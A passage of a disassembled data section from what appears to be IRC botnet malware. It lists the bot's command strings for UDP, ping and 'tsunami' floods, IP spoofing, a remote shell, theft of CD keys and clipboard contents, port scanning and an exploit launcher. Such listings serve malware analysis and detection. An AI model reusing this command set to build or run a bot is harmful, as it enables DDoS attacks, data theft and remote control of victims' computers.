234032Dh, 73796B73h, 3026E79h, 2Dh ; DATA XREF: sub_401CC1+100Fo unk_441E4C db 2Dh ; - ; DATA XREF: sub_401CC1+1026o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aAllPacketingAc db 'All packeting activity has been halted.',0 aTsunamistop db 'tsunamistop',0 ; DATA XREF: sub_401CC1+103Do aTsunamiFlood db 'Tsunami flood',0 ; DATA XREF: sub_401CC1+1056o align 4 dword_441E9C dd 234032Dh, 6E757374h, 2696D61h, 2D03h ; DATA XREF: sub_401CC1+105Bo aWisdomstop db 'wisdomstop',0 ; DATA XREF: sub_401CC1+1066o align 4 aWisdomAttack db 'Wisdom attack',0 ; DATA XREF: sub_401CC1+107Fo align 4 dword_441EC8 dd 234032Dh, 64736977h, 3026D6Fh, 2Dh ; DATA XREF: sub_401CC1+1084o aUdpstop db 'udpstop',0 ; DATA XREF: sub_401CC1+108Fo aUdpFlood db 'UDP flood',0 ; DATA XREF: sub_401CC1+10A8o align 4 dword_441EEC dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401CC1+10ADo aPingstop db 'pingstop',0 ; DATA XREF: sub_401CC1+10B8o align 4 aPingFlood db 'Ping flood',0 ; DATA XREF: sub_401CC1+10D1o align 10h dword_441F10 dd 234032Dh, 676E6970h, 2D0302h ; DATA XREF: sub_401CC1+10D6o aTftpstop db 'tftpstop',0 ; DATA XREF: sub_401CC1+10E1o align 4 aServer_4 db 'Server',0 ; DATA XREF: sub_401CC1+10FAo align 10h dword_441F30 dd 234032Dh, 70746674h, 2D030264h, 0 ; DATA XREF: sub_401CC1+10FFo aProcsstop db 'procsstop',0 ; DATA XREF: sub_401CC1+110Ao align 4 aPsstop db 'psstop',0 ; DATA XREF: sub_401CC1+111Fo align 4 aProcessList db 'Process list',0 ; DATA XREF: sub_401CC1+267Bo align 4 dword_441F64 dd 234032Dh, 636F7270h, 2D030273h, 0 ; DATA XREF: sub_401CC1+2680o aClonestop db 'clonestop',0 ; DATA XREF: sub_401CC1+1134o align 10h aClone db 'Clone',0 ; DATA XREF: sub_401CC1+114Do align 4 dword_441F88 dd 234032Dh, 6E6F6C63h, 3027365h, 2Dh ; DATA XREF: sub_401CC1+1152o aSecurestop db 'securestop',0 ; DATA XREF: sub_401CC1+115Do align 4 aSecure db 'Secure',0 ; DATA XREF: sub_401CC1+1176o align 4 dword_441FAC dd 234032Dh, 75636573h, 3026572h, 2Dh ; DATA XREF: sub_401CC1+117Bo aScanstop db 'scanstop',0 ; DATA XREF: sub_401CC1+1186o align 4 aScan_0 db 'Scan',0 ; DATA XREF: sub_401CC1+119Fo align 10h dword_441FD0 dd 234032Dh, 6E616373h, 2D0302h ; DATA XREF: sub_401CC1+11A4o aScanstats db 'scanstats',0 ; DATA XREF: sub_401CC1+11AFo align 4 aStats db 'stats',0 ; DATA XREF: sub_401CC1+11C4o align 10h aTransferstats db 'transferstats',0 ; DATA XREF: sub_401CC1+11D9o align 10h aTrstats db 'trstats',0 ; DATA XREF: sub_401CC1+11EEo aConnectbacksta db 'connectbackstats',0 ; DATA XREF: sub_401CC1+1203o align 4 aCbstats db 'cbstats',0 ; DATA XREF: sub_401CC1+1218o aExploitlist db 'exploitlist',0 ; DATA XREF: sub_401CC1+122Do aExplist db 'explist',0 ; DATA XREF: sub_401CC1+1242o aReconnect db 'reconnect',0 ; DATA XREF: sub_401CC1+1257o align 4 aR: ; DATA XREF: sub_401CC1+126Co unicode 0, <r>,0 aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401CC1:loc_4042BCo align 10h dword_442060 dd 234032Dh, 6E69616Dh, 202D0302h, 6F636552h, 63656E6Eh ; DATA XREF: sub_401CC1+2608o dd 676E6974h, 2Eh aDisconnect db 'disconnect',0 ; DATA XREF: sub_401CC1+1281o align 4 aDc db 'dc',0 ; DATA XREF: sub_401CC1+1296o align 4 aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401CC1:loc_40429Ao align 4 dword_4420A4 dd 234032Dh, 6E69616Dh, 202D0302h, 63736944h, 656E6E6Fh ; DATA XREF: sub_401CC1+25E6o dd 6E697463h, 2E67h aQuit_0 db 'quit',0 ; DATA XREF: sub_401CC1+12ABo align 4 aQ: ; DATA XREF: sub_401CC1+12C0o unicode 0, <q>,0 aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401CC1+25B1o align 4 aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401CC1:loc_404284o align 4 aStatus db 'status',0 ; DATA XREF: sub_401CC1+12D5o align 10h aS: ; DATA XREF: sub_401CC1+12EAo unicode 0, <s>,0 unk_4420F4 db 2Dh ; - ; DATA XREF: sub_401CC1+2565o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aStatusReady_Bo db 'Status: Ready. Bot Uptime: %s.',0 align 10h aId db 'id',0 ; DATA XREF: sub_401CC1+12FFo align 4 aI_1: ; DATA XREF: sub_401CC1+1314o unicode 0, <i>,0 dword_442128 dd 234032Dh, 6E69616Dh, 202D0302h, 20746F42h, 203A4449h ; DATA XREF: sub_401CC1+2527o dd 2E7325h aReboot db 'reboot',0 ; DATA XREF: sub_401CC1+1329o align 4 unk_442148 db 2Dh ; - ; DATA XREF: sub_401CC1+1340o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aRebootingSyste db 'Rebooting system.',0 align 4 unk_442168 db 2Dh ; - ; DATA XREF: sub_401CC1+1347o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aFailedToReboot db 'Failed to reboot system.',0 align 10h aThreads db 'threads',0 ; DATA XREF: sub_401CC1+137Bo aT: ; DATA XREF: sub_401CC1+1390o unicode 0, <t>,0 aSub db 'sub',0 ; DATA XREF: sub_401CC1+246Eo dword_4421A0 dd 234032Dh, 65726874h, 2736461h, 4C202D03h, 20747369h ; DATA XREF: sub_401CC1+2494o dd 65726874h, 2E736461h, 0 unk_4421C0 db 2Dh ; - ; DATA XREF: sub_401CC1+2509o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aFailedToStartL db '- Failed to start list thread, error: <%d>.',0 align 4 aAliases db 'aliases',0 ; DATA XREF: sub_401CC1+13A5o aAl db 'al',0 ; DATA XREF: sub_401CC1+13BAo align 4 dword_442208 dd 234032Dh, 6E69616Dh, 202D0302h, 61696C41h, 696C2073h ; DATA XREF: sub_401CC1+241Co dd 2E7473h aLo0g db 'lo0g',0 ; DATA XREF: sub_401CC1+13CFo align 4 aL0g db 'l0g',0 ; DATA XREF: sub_401CC1+13E4o aS_0 db '%s',0 ; DATA XREF: sub_401CC1+2341o align 10h dword_442230 dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh ; DATA XREF: sub_401CC1+2374o dd 2E676Fh unk_442248 db 2Dh ; - ; DATA XREF: sub_401CC1+2401o db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aFailedToStar_2 db '- Failed to start listing thread, error: <%d>.',0 aClearlog db 'clearlog',0 ; DATA XREF: sub_401CC1+13F9o align 4 aClg db 'clg',0 ; DATA XREF: sub_401CC1+140Eo aNetinfo db 'netinfo',0 ; DATA XREF: sub_401CC1+1423o aNi db 'ni',0 ; DATA XREF: sub_401CC1+1438o align 4 dword_44229C dd 234032Dh, 6E69616Dh, 202D0302h, 7774654Eh, 206B726Fh ; DATA XREF: sub_401CC1+22F0o dd 6F666E49h, 2Eh aSysinfo db 'sysinfo',0 ; DATA XREF: sub_401CC1+144Do aSi db 'si',0 ; DATA XREF: sub_401CC1+1462o align 4 dword_4422C4 dd 234032Dh, 6E69616Dh, 202D0302h, 74737953h, 49206D65h ; DATA XREF: sub_401CC1+22C1o dd 2E6F666Eh, 0 aRemov10e db 'remov10e',0 ; DATA XREF: sub_401CC1+1477o align 4 aR010m db 'r010m',0 ; DATA XREF: sub_401CC1+148Co align 4 dword_4422F4 dd 234032Dh, 6E69616Dh, 202D0302h, 6F6D6552h, 676E6976h ; DATA XREF: sub_401CC1+226Co dd 746F4220h, 2Eh aProcs db 'procs',0 ; DATA XREF: sub_401CC1+14A1o align 4 aPs db 'ps',0 ; DATA XREF: sub_401CC1+14B6o align 4 unk_44231C db 2Dh ; - ; DATA XREF: sub_401CC1+2159o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aAlreadyRunning db ' Already running.',0 align 4 aFull db 'full',0 ; DATA XREF: sub_401CC1+21BBo align 4 dword_442344 dd 234032Dh, 636F7270h, 2D030273h, 6F725020h, 73656363h ; DATA XREF: sub_401CC1+21DBo dd 696C2073h, 2E7473h unk_442360 db 2Dh ; - ; DATA XREF: sub_401CC1+2250o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToStar_3 db ' Failed to start listing thread, error: <%d>.',0 align 4 aGetcdkeys db 'getcdkeys',0 ; DATA XREF: sub_401CC1+14CBo align 4 aKey db 'key',0 ; DATA XREF: sub_401CC1+14E0o dword_4423AC dd 234032Dh, 656B6463h, 3027379h ; DATA XREF: sub_401CC1+2130o aSearchComplete db '- Search completed.',0 aUptime db 'uptime',0 ; DATA XREF: sub_401CC1+14F5o align 4 aUp db 'up',0 ; DATA XREF: sub_401CC1+150Ao align 4 dword_4423D8 dd 234032Dh, 6E69616Dh, 202D0302h, 69747055h, 203A656Dh ; DATA XREF: sub_401CC1+20E1o dd 2E7325h aDriveinfo db 'driveinfo',0 ; DATA XREF: sub_401CC1+151Fo align 4 aDrv db 'drv',0 ; DATA XREF: sub_401CC1+1534o aTestdlls db 'testdlls',0 ; DATA XREF: sub_401CC1+1549o align 4 aDll db 'dll',0 ; DATA XREF: sub_401CC1+155Eo aOpencmd db 'opencmd',0 ; DATA XREF: sub_401CC1+1573o aOcmd db 'ocmd',0 ; DATA XREF: sub_401CC1+1588o align 10h unk_442420 db 2Dh ; - ; DATA XREF: sub_401CC1+2029o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteShellAlr db '- Remote shell already running.',0 align 4 unk_44244C db 2Dh ; - ; DATA XREF: sub_401CC1+2048o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldnTOpenRem db '- Couldn',27h,'t open remote shell.',0 align 4 unk_442474 db 2Dh ; - ; DATA XREF: sub_401CC1:loc_403D13o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteShellRea db '- Remote shell ready.',0 align 4 aCmdstop db 'cmdstop',0 ; DATA XREF: sub_401CC1+159Do aRemoteShell db 'Remote shell',0 ; DATA XREF: sub_401CC1+15B6o align 4 dword_4424AC dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401CC1+15BBo dword_4424B8 dd 6F6877h ; DATA XREF: sub_401CC1+15C6o dword_4424BC dd 234032Dh, 69676F6Ch, 696C206Eh, 3027473h, 2Dh ; DATA XREF: sub_401CC1+15E3o dword_4424D0 dd 706D453Ch, 3E7974h ; DATA XREF: sub_401CC1:loc_4032CEo dword_4424D8 dd 202E6425h, 7325h ; DATA XREF: sub_401CC1+161Ao unk_4424E0 db 2Dh ; - ; DATA XREF: sub_401CC1+164Fo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aLoginListCompl db 'Login list complete.',0 align 4 aGetclip db 'getclip',0 ; DATA XREF: sub_401CC1+16DCo aGc db 'gc',0 ; DATA XREF: sub_401CC1+16F1o align 10h dword_442510 dd 234032Dh, 70696C63h, 72616F62h, 61642064h, 3026174h ; DATA XREF: sub_401CC1+1FE5o dd 2Dh dword_442528 dd 234032Dh, 6E69616Dh, 202D0302h, 20746547h, 70696C43h ; DATA XREF: sub_401CC1+2013o dd 72616F62h, 2E64h aFlusharp db 'flusharp',0 ; DATA XREF: sub_401CC1+1706o align 10h aFarp db 'farp',0 ; DATA XREF: sub_401CC1+171Bo align 4 unk_442558 db 2Dh ; - ; DATA XREF: sub_401CC1+1FBAo db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aArpCacheFlushe db 'ARP cache flushed.',0 align 4 unk_44257C db 2Dh ; - ; DATA XREF: sub_401CC1:loc_403C82o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToFlushA db 'Failed to flush ARP cache.',0 align 4 aFlushdns db 'flushdns',0 ; DATA XREF: sub_401CC1+1730o align 4 aFdns db 'fdns',0 ; DATA XREF: sub_401CC1+1745o align 4 unk_4425BC db 2Dh ; - ; DATA XREF: sub_401CC1+1F9Co db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aDnsCacheFlushe db 'DNS cache flushed.',0 align 10h unk_4425E0 db 2Dh ; - ; DATA XREF: sub_401CC1:loc_403C64o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToFlushD db 'Failed to flush DNS cache.',0 align 4 unk_44260C db 2Dh ; - ; DATA XREF: sub_401CC1:loc_403C6Bo db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToLoadDn db 'Failed to load dnsapi.dll.',0 align 4 aCurrentip db 'currentip',0 ; DATA XREF: sub_401CC1+175Ao align 4 aCip db 'cip',0 ; DATA XREF: sub_401CC1+176Fo aRloginserver db 'rloginserver',0 ; DATA XREF: sub_401CC1+1784o align 4 aRlogin db 'rlogin',0 ; DATA XREF: sub_401CC1+1799o align 10h unk_442660 db 2Dh ; - ; DATA XREF: sub_401CC1+1EDAo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aServerListenin db '- Server listening on IP: %s:%d, Username: %s.',0 unk_44269C db 2Dh ; - ; DATA XREF: sub_401CC1+1F49o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToStar_4 db '- Failed to start server thread, error: <%d>.',0 align 4 aHttpserver db 'httpserver',0 ; DATA XREF: sub_401CC1+17AEo align 4 aHttp db 'http',0 ; DATA XREF: sub_401CC1+17C3o align 4 unk_4426EC db 2Dh ; - ; DATA XREF: sub_401CC1+1D8Co db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aServerListen_0 db ' Server listening on IP: %s:%d, Directory: %s\.',0 unk_442728 db 2Dh ; - ; DATA XREF: sub_401CC1+1DF7o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToStar_5 db ' Failed to start server thread, error: <%d>.',0 align 4 aTftpserver db 'tftpserver',0 ; DATA XREF: sub_401CC1+17D8o align 10h aTftp db 'tftp',0 ; DATA XREF: sub_401CC1+17EDo align 4 unk_442778 db 2Dh ; - ; DATA XREF: sub_401CC1+1B64o db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aAlreadyRunni_0 db ' Already running.',0 align 4 unk_442798 db 2Dh ; - ; DATA XREF: sub_401CC1+1C16o db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aServerStarte_1 db ' Server started on Port: %d, File: %s.',0 align 4 unk_4427CC db 2Dh ; - ; DATA XREF: sub_401CC1+1C85o db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aFailedToStar_6 db ' Failed to start server thread, error: <%d>.',0 align 4 aScanall db 'scanall',0 ; DATA XREF: sub_401CC1+1802o aVall db 'vall',0 ; DATA XREF: sub_401CC1+1813o align 4 unk_442818 db 2Dh ; - ; DATA XREF: sub_401CC1+18A0o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aAlreadyDScanni db '- Already %d scanning threads. Too many specified.',0 unk_442858 db 2Dh ; - ; DATA XREF: sub_401CC1:loc_40380Fo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aFailedToStar_7 db '- Failed to start scan, port is invalid.',0 align 10h aRandom db 'Random',0 ; DATA XREF: sub_401CC1+1A5Eo align 4 aSequential db 'Sequential',0 ; DATA XREF: sub_401CC1+1A65o align 4 unk_4428A4 db 2Dh ; - ; DATA XREF: sub_401CC1+1A90o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aSPortScanStart db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d' db ' minutes using %d threads.',0 align 10h unk_442910 db 2Dh ; - ; DATA XREF: sub_401CC1+1B01o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aFailedToStar_8 db '- Failed to start scan thread, error: <%d>.',0 align 4 aPhonehome db 'phonehome',0 ; DATA XREF: sub_401CC1+1824o align 4 aNoticeSPhoning db 'NOTICE %s :PHONING HOME: hi ;).',0Dh,0Ah,0 ; DATA XREF: sub_401CC1+183Fo align 4 aSpoof db 'spoof',0 ; DATA XREF: sub_401CC1+166Fo align 4 aOff db 'off',0 ; DATA XREF: sub_401CC1+1683o unk_442988 db 2Dh ; - ; DATA XREF: sub_401CC1+169Eo db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofingDisabl db ' Spoofing disabled.',0 aGet_1 db 'get',0 ; DATA XREF: sub_401CC1:loc_40465Eo unk_4429B4 db 2Dh ; - ; DATA XREF: sub_401CC1+29BFo db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofingCurren db ' Spoofing currently set to ',27h,'%s',27h,'.',0 align 4 aD_D_D_ db '%d.%d.%d.*',0 ; DATA XREF: sub_401CC1+2A18o align 4 unk_4429F8 db 2Dh ; - ; DATA XREF: sub_401CC1+2A30o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofingCurr_0 db ' Spoofing currently set to ',27h,'%s',27h,'.',0 align 10h unk_442A30 db 2Dh ; - ; DATA XREF: sub_401CC1+2A50o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSIsAnInvalidIp db ' ',27h,'%s',27h,' is an invalid IP address.',0 unk_442A64 db 2Dh ; - ; DATA XREF: sub_401CC1+2A7Ao db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofIpSetToS_ db ' Spoof IP set to ',27h,'%s',27h,'.',0 align 10h aExploit db 'exploit',0 ; DATA XREF: sub_401CC1+2A9Ao unk_442A98 db 2Dh ; - ; DATA XREF: sub_401CC1+2B18o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aAttemptingToCo db '- attempting to compromise %s...',0 align 4 unk_442AC8 db 2Dh ; - ; DATA XREF: sub_401CC1+2B8Ao db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aFailedToStartE db '- Failed to start exploiter thread, error: <%d>.',0 align 4 aReconnect_in db 'reconnect.in',0 ; DATA XREF: sub_401CC1+2B97o align 4 aRin db 'rin',0 ; DATA XREF: sub_401CC1+2BAEo aQuitReconnec_1 db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401CC1:loc_408C18o align 4 unk_442B34 db 2Dh ; - ; DATA XREF: sub_401CC1+6F6Bo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReconnectingIn db 'Reconnecting in %s seconds',0 align 4 aReconnect_in_m db 'reconnect.in.ms',0 ; DATA XREF: sub_401CC1+2BC5o aRinms db 'rinms',0 ; DATA XREF: sub_401CC1+2BDCo align 4 aQuitReconnec_0 db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401CC1:loc_408BD6o align 4 unk_442B8C db 2Dh ; - ; DATA XREF: sub_401CC1+6F29o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReconnecting_0 db 'Reconnecting in %s ms',0 align 10h aFlood db 'flood',0 ; DATA XREF: sub_401CC1+2BF3o align 4 aLoad db 'load',0 ; DATA XREF: sub_401CC1+2C14o align 10h unk_442BC0 db 2Dh ; - ; DATA XREF: sub_401CC1+2C68o db 3, 34h, 2 db 69h ; i db 72h, 63h, 66h db 75h ; u db 63h, 6Bh, 2 db 3 aSClonesLoadedT db '- %s clones loaded to %s:%s',0 align 4 aPm_1 db 'pm',0 ; DATA XREF: sub_401CC1+2C98o align 10h asc_442BF0: ; DATA XREF: sub_401CC1+2CB3o unicode 0, < >,0 a__5: ; DATA XREF: sub_401CC1+2CB8o unicode 0, <_>,0 aPrivmsgSS_3 db 'privmsg %s :%s',0 ; DATA XREF: sub_401CC1+2CE4o align 4 aCt db 'ct',0 ; DATA XREF: sub_401CC1+2CFFo align 4 asc_442C0C: ; DATA XREF: sub_401CC1+2D1Ao unicode 0, < >,0 a__6: ; DATA XREF: sub_401CC1+2D1Fo unicode 0, <_>,0 dword_442C14 dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0 ; DATA XREF: sub_401CC1+2D4Bo dword_442C28 dd 746Eh ; DATA XREF: sub_401CC1+2D66o dword_442C2C dd 20h ; DATA XREF: sub_401CC1+2D81o dword_442C30 dd 5Fh ; DATA XREF: sub_401CC1+2D86o dword_442C34 dd 69746F6Eh, 25206563h, 253A2073h, 73h ; DATA XREF: sub_401CC1+2DB2o aMode db 'mode',0 ; DATA XREF: sub_401CC1+2DCDo align 4 asc_442C4C: ; DATA XREF: sub_401CC1+2DE8o unicode 0, < >,0 a_: ; DATA XREF: sub_401CC1+2DEDo unicode 0, <_>,0 aModeSS db 'mode %s %s',0 ; DATA XREF: sub_401CC1+2E19o align 10h aJoin db 'join',0 ; DATA XREF: sub_401CC1+2E34o align 4 aJoinS db 'join %s',0 ; DATA XREF: sub_401CC1+2E56o aPart_1 db 'part',0 ; DATA XREF: sub_401CC1+2E71o align 4 aPartS db 'part %s',0 ; DATA XREF: sub_401CC1+2E93o aPartflood db 'partflood',0 ; DATA XREF: sub_401CC1+2EAEo align 4 aPartSS db 'part %s %s',0 ; DATA XREF: sub_401CC1+2ED5o align 4 aPnick db 'pnick',0 ; DATA XREF: sub_401CC1+2EF0o align 10h aSI db '%s%i',0 ; DATA XREF: sub_401CC1+2F30o align 4 aNickS db 'NICK %s',0 ; DATA XREF: sub_401CC1+2F48o aJoinPart db 'join/part',0 ; DATA XREF: sub_401CC1+2F63o align 4 aJoinS_0 db 'join %s',0 ; DATA XREF: sub_401CC1+2F91o aPartSS_0 db 'part %s %s',0 ; DATA XREF: sub_401CC1+2FBAo align 10h aJoinS_1 db 'join %s',0 ; DATA XREF: sub_401CC1+2FF5o aPartSS_1 db 'part %s %s',0 ; DATA XREF: sub_401CC1+3035o align 4 aJoinS_2 db 'join %s',0 ; DATA XREF: sub_401CC1+3059o aPartSS_2 db 'part %s %s',0 ; DATA XREF: sub_401CC1+3099o align 4 aDcc db 'dcc',0 ; DATA XREF: sub_401CC1+30B4o dword_442CFC dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h ; DATA XREF: sub_401CC1+3131o dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1 aNick_0 db 'nick',0 ; DATA XREF: sub_401CC1+314Co align 4 aJoinS_3 db 'join %s',0 ; DATA XREF: sub_401CC1+3176o aNickS_0 db 'NICK %s',0 ; DATA XREF: sub_401CC1+31A6o aNickS_1 db 'NICK %s',0 ; DATA XREF: sub_401CC1+31EDo aNickS_2 db 'NICK %s',0 ; DATA XREF: sub_401CC1+3234o aChgnick db 'chgnick',0 ; DATA XREF: sub_401CC1+324Fo aNickS_3 db 'NICK %s',0 ; DATA XREF: sub_401CC1+3278o aMsg db 'msg',0 ; DATA XREF: sub_401CC1+3293o aJoinS_4 db 'join %s',0 ; DATA XREF: sub_401CC1+32C1o aPrivmsgSS db 'privmsg %s :%s',0 ; DATA XREF: sub_401CC1+32EAo align 4 aPrivmsgSS_0 db 'privmsg %s :%s',0 ; DATA XREF: sub_401CC1+332Ao align 4 aPrivmsgSS_1 db 'privmsg %s :%s',0 ; DATA XREF: sub_401CC1+336Ao align 4 aNotice_2 db 'notice',0 ; DATA XREF: sub_401CC1+3385o align 10h aJoinS_5 db 'join %s',0 ; DATA XREF: sub_401CC1+33B3o aNoticeSS_1 db 'NOTICE %s :%s',0 ; DATA XREF: sub_401CC1+33DCo align 4 aNoticeSS_2 db 'NOTICE %s :%s',0 ; DATA XREF: sub_401CC1+341Co align 4 aNoticeSS_3 db 'NOTICE %s :%s',0 ; DATA XREF: sub_401CC1+345Co align 4 aCtcp db 'ctcp',0 ; DATA XREF: sub_401CC1+3477o align 10h aJoinS_6 db 'join %s',0 ; DATA XREF: sub_401CC1+34A5o dword_442DE8 dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h ; DATA XREF: sub_401CC1+34C9o dword_442DFC dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h ; DATA XREF: sub_401CC1+3504o dd 1 dword_442E14 dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h ; DATA XREF: sub_401CC1+353Fo dd 0 dword_442E2C dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h ; DATA XREF: sub_401CC1+357Ao dd 0 dword_442E44 dd 78696Dh ; DATA XREF: sub_401CC1+3595o dword_442E48 dd 6E696F6Ah, 732520h ; DATA XREF: sub_401CC1+35C3o dword_442E50 dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h ; DATA XREF: sub_401CC1+35E7o dword_442E64 dd 49544F4Eh, 25204543h, 253A2073h, 73h ; DATA XREF: sub_401CC1+3627o dword_442E74 dd 56495250h, 2047534Dh, 3A207325h, 7325h ; DATA XREF: sub_401CC1+3667o dword_442E84 dd 49544F4Eh, 25204543h, 253A2073h, 73h ; DATA XREF: sub_401CC1+36A7o aRegister db 'register',0 ; DATA XREF: sub_401CC1+36C2o align 10h aNickservRegist db 'nickserv register %s %s',0 ; DATA XREF: sub_401CC1+36EBo aOff_0 db 'off',0 ; DATA XREF: sub_401CC1+3706o unk_442EBC db 2Dh ; - ; DATA XREF: sub_401CC1+3754o db 3, 34h, 2 db 69h ; i db 72h, 63h, 66h db 75h ; u db 63h, 6Bh, 2 db 3 aDisconnectingC db '- disconnecting clones...',0 align 4 aNick_1 db 'nick',0 ; DATA XREF: sub_401CC1+3772o align 4 aN: ; DATA XREF: sub_401CC1+3789o unicode 0, <n>,0 aNickS_6 db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_401CC1+6EFDo align 4 unk_442EFC db 2Dh ; - ; DATA XREF: sub_401CC1+6F0Bo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aNickChangedToS db 'Nick changed to: ',27h,'%s',27h,'.',0 align 10h aJoin_0 db 'join',0 ; DATA XREF: sub_401CC1+37A0o align 4 aJ: ; DATA XREF: sub_401CC1+37B7o unicode 0, <j>,0 aJoinSS_3 db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401CC1+6EE4o align 4 unk_442F3C db 2Dh ; - ; DATA XREF: sub_401CC1+6EF2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aJoinedChanne_0 db 'Joined channel: ',27h,'%s',27h,'.',0 align 10h aPart_2 db 'part',0 ; DATA XREF: sub_401CC1+37CEo align 4 aPt db 'pt',0 ; DATA XREF: sub_401CC1+37E5o align 4 aPartS_2 db 'PART %s',0Dh,0Ah,0 ; DATA XREF: sub_401CC1+6EC4o align 4 unk_442F78 db 2Dh ; - ; DATA XREF: sub_401CC1+6ED2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPartedChannelS db 'Parted channel: ',27h,'%s',27h,'.',0 align 4 aRaw db 'raw',0 ; DATA XREF: sub_401CC1+37FCo aR_1: ; DATA XREF: sub_401CC1+3813o unicode 0, <r>,0 aS_27 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_401CC1+6EABo align 4 dword_442FAC dd 234032Dh, 6E69616Dh, 202D0302h, 20435249h, 3A776152h ; DATA XREF: sub_401CC1+6EB9o dd 2E732520h, 0 aKillthread db 'killthread',0 ; DATA XREF: sub_401CC1+382Ao align 4 aK: ; DATA XREF: sub_401CC1+3841o unicode 0, 